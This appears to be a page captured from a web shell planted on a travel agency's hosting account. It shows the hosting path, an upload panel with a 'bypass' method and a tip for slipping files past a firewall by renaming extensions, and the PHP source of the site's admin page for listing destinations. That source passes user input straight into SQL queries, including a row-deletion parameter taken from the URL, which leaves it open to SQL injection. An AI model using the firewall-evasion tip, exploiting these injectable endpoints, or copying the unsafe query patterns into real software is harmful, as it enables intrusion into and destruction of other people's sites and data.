Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
home
u619466350
domains
a1toursandtravels.com
public_html
admin
File Content:
view_destination.php
<?php ob_start(); session_start(); include('config/connection_config.php'); if(isset($_POST['not_hot'])) { $hotid = $_POST['hotid']; mysqli_query($con,"update using_tour_tb set hot='yes' where id='".$hotid."'"); header("location:view_destination.php"); exit(); } else if(isset($_POST['hot'])) { $hotid = $_POST['hotid']; mysqli_query($con,"update using_tour_tb set `hot` = 'no' where id='".$hotid."'"); if($con){ mysqli_query($con,"update using_tour_tb set `date_time` = '000-00-00 00:00:00' where id='".$hotid."'"); } header("location:view_destination.php"); exit(); } ?> <!DOCTYPE html> <html> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <head> <title>View Theme, Admin Panel</title> <!--Bootstrap css--> <link href="css/bootstrap.css" rel='stylesheet' type='text/css'> <!--/Bootstrap css--> <!--Dropdown discription js--> <script type="text/javascript" src="js/left-dropdown/jquery-2.1.1.min.js"></script> <script type="text/javascript" src="js/left-dropdown/bootstrap.min.js"></script> <!--Dropdown discription js--> <!--our css--> <link href="css/mycss.css" rel='stylesheet' type='text/css'> <!--/our css--> </head> <style type="text/css"> span.glyphicon.glyphicon-pencil{color:green;} span.glyphicon.glyphicon-remove{color:red;} .panel{background-image: linear-gradient(to bottom,orange 0,darkorange 100%);} .panel-body { padding: 20px; background: white; margin: 5px 20px 20px 20px;} h2{color:white} span.label.label-sm.label-danger a { color: white; font-size: 12px;} th { font-size: 15px; } td { font-size: 15px; } form { margin: 0; padding: 0; background:none; } input.btn.btn-danger, input.btn.btn-success{ padding: .2em .6em .3em;font-size: 10px; font-weight: bold; line-height: 1; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em;} </style> <!--Top Bar--> <section> <div class="row"> <div class=""> <?php require('include/menu-navigation.php'); ?> <div class="col-lg-10 col-md-10 col-sm-10 col-xs-12" style="padding:0;background:#e7e7e7;"> <div> <div id="menu" style="padding:14px;background:#3c8dbc;"> <a href="Log-Out.php" class="pull-right"> log out </a> <div class="clearfix"></div> </div> <div> <div class="col-md-12"> <br> <div class="panel panel-violet"> <div class="panel-heading clearfix"> <h2 class="pull-left">View Destination </h2> <form action="view_destination.php" id="search_form" method="GET"> <p><input name="keyword" placeholder="search keyword" autocomplete="off" id="list_search" type="search" required class="search form-control pull-right" style="width: 250px;;"/></p> </form> </div> <div class="panel-body"> <div style="overflow: scroll;height: 600px;"> <table class="table table-hover table-striped"> <thead> <tr> <th>#</th> <th>Tour Id</th> <th>Tour Name</th> <th>Category</th> <th>Sub-Category</th> <th>Hot/Not Hote</th> <th>Action</th> </tr> </thead> <tbody> <tr> <?php if(isset($_GET['keyword'])){ $keyword = $_GET['keyword']; $q = "Select * from using_tour_tb where (tour_id LIKE '%$keyword%' || main_category LIKE '%$keyword%' || category LIKE '%$keyword%' || sub_category LIKE '%$keyword%') && main_category='Destination' order by date_time desc"; }else{ $q = "Select * from using_tour_tb where main_category='Destination' order by date_time desc"; } $run = mysqli_query($con,$q); while($row = mysqli_fetch_array($run)){ $id = $row['id']; $tour_id = $row['tour_id']; $main_category=$row['main_category']; $category = $row['category']; $sub_category = $row['sub_category']; $hot = $row['hot']; ?> <td><?php echo $id; ?></td> <td><?php echo $tour_id; ?></td> <td><a data-toggle="collapse" data-parent="#accordion" href="#<?php echo $id; ?>" class="pull-left" style="margin: 0 5px 0 0;"> <center> <h6 class="label label-danger"> view</h6> </center> </a> <?php $sql = "Select * from tour_tb where id='$tour_id' order by id desc"; $row = mysqli_fetch_assoc( mysqli_query($con, $sql) ); echo $tour_name = $row['tour_name']; ?> </td> <td><?php echo $category; ?> </td> <td><?php echo $sub_category; ?> </td> <td> <center> <?php if(($hot=='no') || ($hot=='')) { ?> <form action="" method="post"> <input class="hide" type="text" name="hotid" value="<?php echo $id; ?>"> <input class="btn btn-danger" type="submit" name="not_hot" value="Not Hot"> </form> <?php } else{ ?> <form action="" method="post"> <input class="hide" type="text" name="hotid" value="<?php echo $id; ?>"> <input class="btn btn-success" type="submit" name="hot" value="hot"> </form> <?php } ?> </center> </td><td width="90"> <center> <a href="update_using_tour.php?id=<?php echo $id;?>"> <img src="images/edit.png" width="20"> </a> | <a href="view_destination.php?del=<?php echo $id;?>" onclick="return confirm('Are you sure you want to remove this row?')"> <img src="images/delete.png" width="15"> </a> </center> </td> </tr> <tr> <td colspan="9" style="padding: 0;"> <?php $sql = "Select * from tour_tb where id='$tour_id' order by id desc"; $row = mysqli_fetch_assoc( mysqli_query($con, $sql) ); $location = $row['location']; $country = $row['country']; $state = $row['state']; $cityid = $row['city']; $local_area = $row['local_area']; $tour_name = $row['tour_name']; $tour_duration = $row['tour_duration']; $destination_covered = $row['destination_covered']; $tour_price = $row['tour_price']; $banner_image = $row['banner_image']; $thumb_banner_image = $row['thumb_banner_image']; $gallery1 = $row['gallery1']; $thumb_gallery1 = $row['thumb_gallery1']; $gallery2 = $row['gallery2']; $thumb_gallery2 = $row['thumb_gallery2']; $gallery3 = $row['gallery3']; $thumb_gallery3 = $row['thumb_gallery3']; $gallery4 = $row['gallery4']; $thumb_gallery4 = $row['thumb_gallery4']; $discription = $row['discription']; $Tour_By_Duration = $row['Tour_By_Duration']; $Weekend_Tour = $row['Weekend_Tour']; $Luxury_Tour = $row['Luxury_Tour']; $m1 = $row['JUN']; $m2 = $row['FEB']; $m3 = $row['MAR']; $m4 = $row['APR']; $m5 = $row['MAY']; $m6 = $row['JUN']; $m7 = $row['JUL']; $m8 = $row['AUG']; $m9 = $row['SEP']; $m10 = $row['OCT']; $m11 = $row['NOV']; $m12 = $row['DECM']; $q2 = "Select * from mastercity_tb where cityid='$cityid' "; $run2 = mysqli_query($con,$q2); $row2 = mysqli_fetch_assoc($run2); $city = $row2['city']; ?> <div class="panel-group" id="accordion"> <div id="<?php echo $id; ?>" class="panel-collapse collapse out"> <div class="list-group" style="padding:10px;"> <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" style="padding:0;"> <strong>Gallery Image :</strong> </div> <div class="col-lg-3 col-md-3 col-sm-3 col-xs-12"> <?php if(!$thumb_gallery1=='') { ?> <img class="thumbnail_image" src="<?php echo $thumb_gallery1; ?>" width="100%" style="min-height: 150px;max-height: 150px;"> <?php } else { } ?> </div> <div class="col-lg-3 col-md-3 col-sm-3 col-xs-12"> <?php if(!$thumb_gallery2=='') { ?> <img class="thumbnail_image" src="<?php echo $thumb_gallery2; ?>" width="100%" style="min-height: 150px;max-height: 150px;"> <?php } else { } ?> </div> <div class="col-lg-3 col-md-3 col-sm-3 col-xs-12"> <?php if(!$thumb_gallery3=='') { ?> <img class="thumbnail_image" src="<?php echo $thumb_gallery3; ?>" width="100%" style="min-height: 150px;max-height: 150px;"> <?php } else { } ?> </div> <div class="col-lg-3 col-md-3 col-sm-3 col-xs-12"> <?php if(!$thumb_gallery4=='') { ?> <img class="thumbnail_image" src="<?php echo $thumb_gallery4; ?>" width="100%" style="min-height: 150px;max-height: 150px;"> <?php } else { } ?> </div> <div class="col-lg-3 col-md-3 col-sm-3 col-xs-12"> <?php if($thumb_gallery1=='' & $thumb_gallery2=='' & $thumb_gallery3=='' & $thumb_gallery4=='') { echo "<font color='red'>No Gallery Image Found</font>"; } ?> </div> <div class="clearfix"></div><br> <?php if($location==1){ ?> <div class="clearfix"></div><br> <strong>Country :</strong> <?php echo $country; ?> <strong style="margin-left:50px;">State :</strong> <?php echo $state; ?> <strong style="margin-left:50px;">City :</strong> <?php echo $city; ?> <?php } else if($location==2){ ?> <strong>Country :</strong> <?php echo $country; ?> <?php } ?> <?php if(!$local_area=='') { ?> <strong style="margin-left:50px;">Local Area :</strong> <?php echo $local_area; ?><br><br> <?php } ?> <?php if(!$destination_covered=='') { ?> <strong>Destination Covered :</strong> <?php echo $destination_covered; ?><br><br> <?php } ?> <?php if(($Tour_By_Duration=="yes") || ($Weekend_Tour=="yes") || ($Luxury_Tour=="yes")) { ?> <strong>Using for :</strong> <?php if($Tour_By_Duration=="yes"){ echo "Tour By Duration";} if($Weekend_Tour=="yes"){ echo ", Weekend Tour";} if($Luxury_Tour=="yes"){ echo ", Luxury Tour";} ?> <br><br> <?php } ?> <?php if(($Tour_By_Duration=="yes") || ($Weekend_Tour=="yes") || ($Luxury_Tour=="yes")) { ?> <strong>Visit by Month :</strong> <?php if($m1=="yes"){ echo "JAN";} if($m2=="yes"){ echo ", FEB";} if($m3=="yes"){ echo ", MAR";} if($m4=="yes"){ echo ", APR";} if($m5=="yes"){ echo ", MAY";} if($m6=="yes"){ echo ", JUN";} if($m7=="yes"){ echo ", JULY";} if($m8=="yes"){ echo ", AUG";} if($m9=="yes"){ echo ", SEP";} if($m10=="yes"){ echo ", OCT";} if($m11=="yes"){ echo ", NOV";} if($m12=="yes"){ echo ", DEC";} ?> <br><br> <?php } ?> <?php if(!$discription=='') { ?> <strong>Discription :</strong> <?php echo $discription; ?> <?php } ?> </div> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> <!--footer--> <div class="clearfix"></div> <div class="row panel-footer" style="background:#000; color:#FFF;"> Copyright © 2016. A1 Tour & Travel <span class="pull-right"> Powered By <a href=""> Arc Solutions </a> </span> </div> <!--/footer--> </div> </div> </div> </div> </div> </div> </section> <!--/Top Bar--> <!-- keywrd seacching script --> <script src="//code.jquery.com/jquery-1.10.2.min.js"></script> <script src="//code.jquery.com/ui/1.11.4/jquery-ui.js"></script> <link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css"> <script type="text/javascript"> $(document).ready(function(){ $(document).on('keyup','#list_search',function(){ var value = $(this).val(); $.getJSON('../ajax_search_destination.php?keyword='+value, function (data) { var availableTags = data; $( "#list_search" ).autocomplete({ source: availableTags, select: function(event, ui) { $(event.target).val(ui.item.value); $('#search_form').submit(); return false; }, }); }); }); }); </script> </body> </html> <?php if(isset($_GET['del'])){ $id = $_GET["del"]; $d = "delete from using_tour_tb where id=".$id; $del = mysqli_query($con,$d); if($del){ header("location:view_destination.php?n=1"); exit(); } } ?> <?php if(isset($_GET['n'])) { if($_GET['n']==1) { ?> <script>alert("Data is deleted!");</script> <?php } } if(isset($_GET['u'])) { if($_GET['u']==1) { ?> <script>alert("Data is updated!");</script> <?php } } ?> <?php ob_flush(); ?>
Edit
Download
Unzip
Chmod
Delete